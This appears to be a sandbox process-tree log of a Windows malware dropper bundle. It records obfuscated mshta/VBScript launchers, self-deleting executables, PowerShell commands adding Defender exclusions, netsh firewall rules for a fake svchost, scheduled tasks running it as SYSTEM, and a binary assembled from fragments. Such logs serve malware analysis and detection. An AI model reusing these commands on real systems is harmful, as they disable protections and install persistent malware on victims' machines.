C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\wXxhfquqy2fYzhdeU9VLAPOJ.exe" & exit7⤵PID:7652
-
C:\Windows\SysWOW64\timeout.exetimeout /t 58⤵
- Delays execution with timeout.exe
PID:4108
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\HmZrVLPozqXezv3LCvuSbvAB.exe"C:\Users\Admin\Pictures\Adobe Films\HmZrVLPozqXezv3LCvuSbvAB.exe"6⤵PID:6124
-
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"7⤵PID:5268
-
C:\Users\Admin\AppData\Local\250523.exe"C:\Users\Admin\AppData\Local\250523.exe"8⤵PID:7796
-
-
C:\Users\Admin\AppData\Local\6525841.exe"C:\Users\Admin\AppData\Local\6525841.exe"8⤵PID:7572
-
-
C:\Users\Admin\AppData\Local\3085145.exe"C:\Users\Admin\AppData\Local\3085145.exe"8⤵PID:1856
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\3085145.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\3085145.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))9⤵PID:7164
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\3085145.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\3085145.exe" ) do taskkill -f -Im "%~NXZ"10⤵PID:7480
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i11⤵PID:6272
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))12⤵PID:5420
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"13⤵PID:1792
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "3085145.exe"11⤵
- Kills process with taskkill
PID:2348
-
-
-
-
-
C:\Users\Admin\AppData\Local\6751643.exe"C:\Users\Admin\AppData\Local\6751643.exe"8⤵PID:5704
-
-
C:\Users\Admin\AppData\Local\4624114.exe"C:\Users\Admin\AppData\Local\4624114.exe"8⤵PID:7864
-
-
-
C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"7⤵PID:5056
-
-
C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"7⤵PID:4344
-
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"7⤵PID:5104
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )8⤵PID:4388
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"9⤵PID:2324
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi10⤵PID:7280
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )11⤵PID:7484
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"12⤵PID:7788
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"10⤵
- Kills process with taskkill
PID:7880
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵PID:5080
-
C:\Users\Admin\AppData\Local\Temp\is-675PS.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-675PS.tmp\setup.tmp" /SL5="$20468,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"8⤵PID:5416
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT9⤵PID:3052
-
C:\Users\Admin\AppData\Local\Temp\is-RUDQP.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-RUDQP.tmp\setup.tmp" /SL5="$40258,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT10⤵PID:6892
-
C:\Users\Admin\AppData\Local\Temp\is-QQOQQ.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-QQOQQ.tmp\postback.exe" ss111⤵PID:6308
-
-
C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe"C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss111⤵PID:6268
-
-
C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe"C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart11⤵PID:3652
-
C:\7ee90f74cf88db0b855addb70b0d23\Setup.exeC:\7ee90f74cf88db0b855addb70b0d23\\Setup.exe /q /norestart /x86 /x64 /web12⤵PID:6008
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"7⤵PID:5876
-
-
C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"7⤵PID:4184
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵PID:6248
-
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"7⤵PID:6412
-
-
C:\Users\Admin\AppData\Local\Temp\chrome1.exe"C:\Users\Admin\AppData\Local\Temp\chrome1.exe"7⤵PID:6500
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵PID:400
-
-
-
C:\Users\Admin\AppData\Local\Temp\chrome update.exe"C:\Users\Admin\AppData\Local\Temp\chrome update.exe"7⤵PID:6624
-
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"7⤵PID:6736
-
-
-
C:\Users\Admin\Pictures\Adobe Films\zd3zBBeZWgBF3FRyTvsUkQIS.exe"C:\Users\Admin\Pictures\Adobe Films\zd3zBBeZWgBF3FRyTvsUkQIS.exe"6⤵PID:6116
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\7⤵PID:5748
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵PID:6896
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \7⤵PID:6808
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM7⤵
- Creates scheduled task(s)
PID:5588
-
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal7⤵PID:5360
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\8⤵PID:1160
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \8⤵PID:1484
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:3792
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:1496
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵PID:6984
-
-
-
C:\Users\Admin\Pictures\Adobe Films\0lIIZ3JStvsW8nGnUHWNgBtn.exe"C:\Users\Admin\Pictures\Adobe Films\0lIIZ3JStvsW8nGnUHWNgBtn.exe"6⤵PID:4832
-
-
C:\Users\Admin\Pictures\Adobe Films\E1AVjJ1TTpSf6xDjrAK4lRdS.exe"C:\Users\Admin\Pictures\Adobe Films\E1AVjJ1TTpSf6xDjrAK4lRdS.exe"6⤵PID:5368
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5368 -s 3167⤵
- Program crash
PID:4956
-
-
-
C:\Users\Admin\Pictures\Adobe Films\2LprYkcCaAA9UlXknsAFDylZ.exe"C:\Users\Admin\Pictures\Adobe Films\2LprYkcCaAA9UlXknsAFDylZ.exe"6⤵PID:5304
-
-
C:\Users\Admin\Pictures\Adobe Films\uTn3gKPE9vzGHXyuPbjrQdp1.exe"C:\Users\Admin\Pictures\Adobe Films\uTn3gKPE9vzGHXyuPbjrQdp1.exe"6⤵PID:2428
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\uTn3gKPE9vzGHXyuPbjrQdp1.exe" & exit7⤵PID:7764
-
C:\Windows\SysWOW64\timeout.exetimeout /t 58⤵
- Delays execution with timeout.exe
PID:5148
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\GAP8ItZFo046cAQWwNxtkRwW.exe"C:\Users\Admin\Pictures\Adobe Films\GAP8ItZFo046cAQWwNxtkRwW.exe"6⤵PID:4904
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\GAP8ItZFo046cAQWwNxtkRwW.exe" & exit7⤵PID:8072
-
C:\Windows\SysWOW64\timeout.exetimeout /t 58⤵
- Delays execution with timeout.exe
PID:436
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ZoGPnoRCJS0l9rQfr4RwhDiI.exe"C:\Users\Admin\Pictures\Adobe Films\ZoGPnoRCJS0l9rQfr4RwhDiI.exe"6⤵PID:5692
-
-
C:\Users\Admin\Pictures\Adobe Films\E0avC6RQwfLPC1Gi3NqcoFG5.exe"C:\Users\Admin\Pictures\Adobe Films\E0avC6RQwfLPC1Gi3NqcoFG5.exe"6⤵PID:5652
-
-
C:\Users\Admin\Pictures\Adobe Films\ra76YP_O5QOINZCiqZy9MDWG.exe"C:\Users\Admin\Pictures\Adobe Films\ra76YP_O5QOINZCiqZy9MDWG.exe"6⤵PID:5928
-
C:\Users\Admin\AppData\Roaming\Underdress.exeC:\Users\Admin\AppData\Roaming\Underdress.exe7⤵PID:2180
-
C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"8⤵PID:5192
-
-
-
C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exeC:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe7⤵PID:5160
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"8⤵PID:6224
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5160 -s 5568⤵
- Program crash
PID:6456
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\HXPcq6WxPdAuzfqCfI2GMi0z.exe"C:\Users\Admin\Pictures\Adobe Films\HXPcq6WxPdAuzfqCfI2GMi0z.exe"6⤵PID:5584
-
C:\Users\Admin\Pictures\Adobe Films\HXPcq6WxPdAuzfqCfI2GMi0z.exe"C:\Users\Admin\Pictures\Adobe Films\HXPcq6WxPdAuzfqCfI2GMi0z.exe"7⤵PID:6380
-
-
-
C:\Users\Admin\Pictures\Adobe Films\VGdGpH2oTL1E6OMuHfnhf5oT.exe"C:\Users\Admin\Pictures\Adobe Films\VGdGpH2oTL1E6OMuHfnhf5oT.exe"6⤵PID:5484
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\VGdGpH2oTL1E6OMuHfnhf5oT.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\VGdGpH2oTL1E6OMuHfnhf5oT.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )7⤵PID:6680
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\VGdGpH2oTL1E6OMuHfnhf5oT.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\VGdGpH2oTL1E6OMuHfnhf5oT.exe" ) do taskkill -im "%~NxK" -F8⤵PID:5172
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP9⤵PID:7312
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )10⤵PID:7544
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F11⤵PID:7936
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "VGdGpH2oTL1E6OMuHfnhf5oT.exe" -F9⤵
- Kills process with taskkill
PID:7960
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\D7IbGBuJ2GV5GLwvVbOXX6Vf.exe"C:\Users\Admin\Pictures\Adobe Films\D7IbGBuJ2GV5GLwvVbOXX6Vf.exe"6⤵PID:6216
-
-
C:\Users\Admin\Pictures\Adobe Films\GlgGScdKbLBGoYvIFSJxwr2H.exe"C:\Users\Admin\Pictures\Adobe Films\GlgGScdKbLBGoYvIFSJxwr2H.exe"6⤵PID:4280
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue162f02d7b75a1d.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1176 -
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue162f02d7b75a1d.exeTue162f02d7b75a1d.exe5⤵
- Executes dropped EXE
PID:420
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1693c6e21a84f1.exe4⤵PID:1036
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1693c6e21a84f1.exeTue1693c6e21a84f1.exe5⤵
- Executes dropped EXE
PID:1232
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue16937a015b8e.exe4⤵PID:2500
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16937a015b8e.exeTue16937a015b8e.exe5⤵
- Executes dropped EXE
PID:3144 -
C:\Users\Admin\AppData\Local\Temp\is-0BKEP.tmp\Tue16937a015b8e.tmp"C:\Users\Admin\AppData\Local\Temp\is-0BKEP.tmp\Tue16937a015b8e.tmp" /SL5="$80056,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16937a015b8e.exe"6⤵
- Executes dropped EXE
PID:1192 -
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16937a015b8e.exe"C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16937a015b8e.exe" /SILENT7⤵
- Executes dropped EXE
PID:1976 -
C:\Users\Admin\AppData\Local\Temp\is-6488J.tmp\Tue16937a015b8e.tmp"C:\Users\Admin\AppData\Local\Temp\is-6488J.tmp\Tue16937a015b8e.tmp" /SL5="$80080,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16937a015b8e.exe" /SILENT8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3920
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue161bd708d12e5.exe4⤵PID:2056
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue161bd708d12e5.exeTue161bd708d12e5.exe5⤵
- Executes dropped EXE
PID:980 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScrIPt: ClOse ( CrEATeobjEct ( "wScRipt.SHELl").run ( "CMd /C tYpe ""C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue161bd708d12e5.exe""> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If """" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue161bd708d12e5.exe"" ) do taskkill -F /iM ""%~nXE"" ", 0, True ) )6⤵PID:1196
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue161bd708d12e5.exe"> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If "" =="" for %E In ( "C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue161bd708d12e5.exe" ) do taskkill -F /iM "%~nXE"7⤵PID:2836
-
C:\Users\Admin\AppData\Local\Temp\fkKCS.exefkKCS.EXE -P_3FA3g8_0NB8⤵PID:4136
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScrIPt: ClOse ( CrEATeobjEct ( "wScRipt.SHELl").run ( "CMd /C tYpe ""C:\Users\Admin\AppData\Local\Temp\fkKCS.exe""> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If ""-P_3FA3g8_0NB "" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\fkKCS.exe"" ) do taskkill -F /iM ""%~nXE"" ", 0, True ) )9⤵PID:4228
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\fkKCS.exe"> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If "-P_3FA3g8_0NB " =="" for %E In ( "C:\Users\Admin\AppData\Local\Temp\fkKCS.exe" ) do taskkill -F /iM "%~nXE"10⤵PID:4384
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBscRipt: ClOSE( cREaTEOBjEcT ("wSCript.sheLl").RUN ( "Cmd.eXE /c echo N%TIme%O>VPZp.II & EChO | set /p = ""MZ"" > KL6F.Aa_ &cOpY /y /B kL6F.AA_+LAQIL0YY.POg + vCTGFFAM.2ST + ip~Q0M_L.i + IfY08H17.9LD + 1cQMG.2 + VpZp.II PUA9.FS & sTaRT msiexec.exe /Y .\pUA9.FS " ,0 , TRUe ) )9⤵PID:4192
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo N%TIme%O>VPZp.II & EChO | set /p = "MZ" > KL6F.Aa_ &cOpY /y /B kL6F.AA_+LAQIL0YY.POg + vCTGFFAM.2ST+ ip~Q0M_L.i + IfY08H17.9LD + 1cQMG.2 + VpZp.II PUA9.FS & sTaRT msiexec.exe /Y .\pUA9.FS10⤵PID:4252
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "11⤵PID:4956
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>KL6F.Aa_"11⤵PID:5184
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /Y .\pUA9.FS11⤵PID:1692
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -F /iM "Tue161bd708d12e5.exe"8⤵
- Kills process with taskkill
PID:4256
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue165ec2d1de4f1ae98.exe4⤵PID:2472
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue165ec2d1de4f1ae98.exeTue165ec2d1de4f1ae98.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1752 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:7048
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:7576
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue166a21bf15ecf0.exe4⤵PID:2364
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue166a21bf15ecf0.exeTue166a21bf15ecf0.exe5⤵
- Executes dropped EXE
PID:2840 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2840 -s 13526⤵
- Program crash
PID:4732
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1604aa7d34a61a5b.exe4⤵PID:1216
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1604aa7d34a61a5b.exeTue1604aa7d34a61a5b.exe5⤵
- Executes dropped EXE
PID:3228
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue169b8ca3fff9b96f8.exe4⤵PID:820
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue169b8ca3fff9b96f8.exeTue169b8ca3fff9b96f8.exe5⤵
- Executes dropped EXE
PID:3392
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3944 -s 6084⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3984
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1695d07d02bff8ff.exe4⤵PID:1352
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1647cedf7bf133.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4000
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue16752f37c10e89.exe /mixone4⤵PID:1960
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16752f37c10e89.exeTue16752f37c10e89.exe /mixone1⤵
- Executes dropped EXE
PID:3884 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Tue16752f37c10e89.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16752f37c10e89.exe" & exit2⤵PID:5052
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Tue16752f37c10e89.exe" /f3⤵
- Kills process with taskkill
PID:5284
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1695d07d02bff8ff.exeTue1695d07d02bff8ff.exe1⤵
- Executes dropped EXE
PID:1848 -
C:\Users\Admin\Pictures\Adobe Films\c3Nc4gbiFpVnCP48ntvxu2Rf.exe"C:\Users\Admin\Pictures\Adobe Films\c3Nc4gbiFpVnCP48ntvxu2Rf.exe"2⤵PID:4856
-
-
C:\Users\Admin\Pictures\Adobe Films\3Fas3rn2ZDKcSoOS7IkABuH0.exe"C:\Users\Admin\Pictures\Adobe Films\3Fas3rn2ZDKcSoOS7IkABuH0.exe"2⤵PID:4864
-
-
C:\Users\Admin\Pictures\Adobe Films\shQFsQkOHTqmMdsjGrFrwqdm.exe"C:\Users\Admin\Pictures\Adobe Films\shQFsQkOHTqmMdsjGrFrwqdm.exe"2⤵PID:4936
-
C:\Users\Admin\Documents\HzlAeBuPQ_8MzJSUXeFR65jL.exe"C:\Users\Admin\Documents\HzlAeBuPQ_8MzJSUXeFR65jL.exe"3⤵PID:4380
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:5308
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:1180
-
-
-
C:\Users\Admin\Pictures\Adobe Films\mixBTYOchmkAaPFMoK9XsHa7.exe"C:\Users\Admin\Pictures\Adobe Films\mixBTYOchmkAaPFMoK9XsHa7.exe"2⤵PID:644
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "mixBTYOchmkAaPFMoK9XsHa7.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\mixBTYOchmkAaPFMoK9XsHa7.exe" & exit3⤵PID:6164
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "mixBTYOchmkAaPFMoK9XsHa7.exe" /f4⤵
- Kills process with taskkill
PID:3376
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\mWh1dMQ3Z6Mwaqh4IgGDyapX.exe"C:\Users\Admin\Pictures\Adobe Films\mWh1dMQ3Z6Mwaqh4IgGDyapX.exe"2⤵PID:2836
-
-
C:\Users\Admin\Pictures\Adobe Films\ezTJRYlWwmMisCV8ra3scTsA.exe"C:\Users\Admin\Pictures\Adobe Films\ezTJRYlWwmMisCV8ra3scTsA.exe"2⤵PID:4204
-
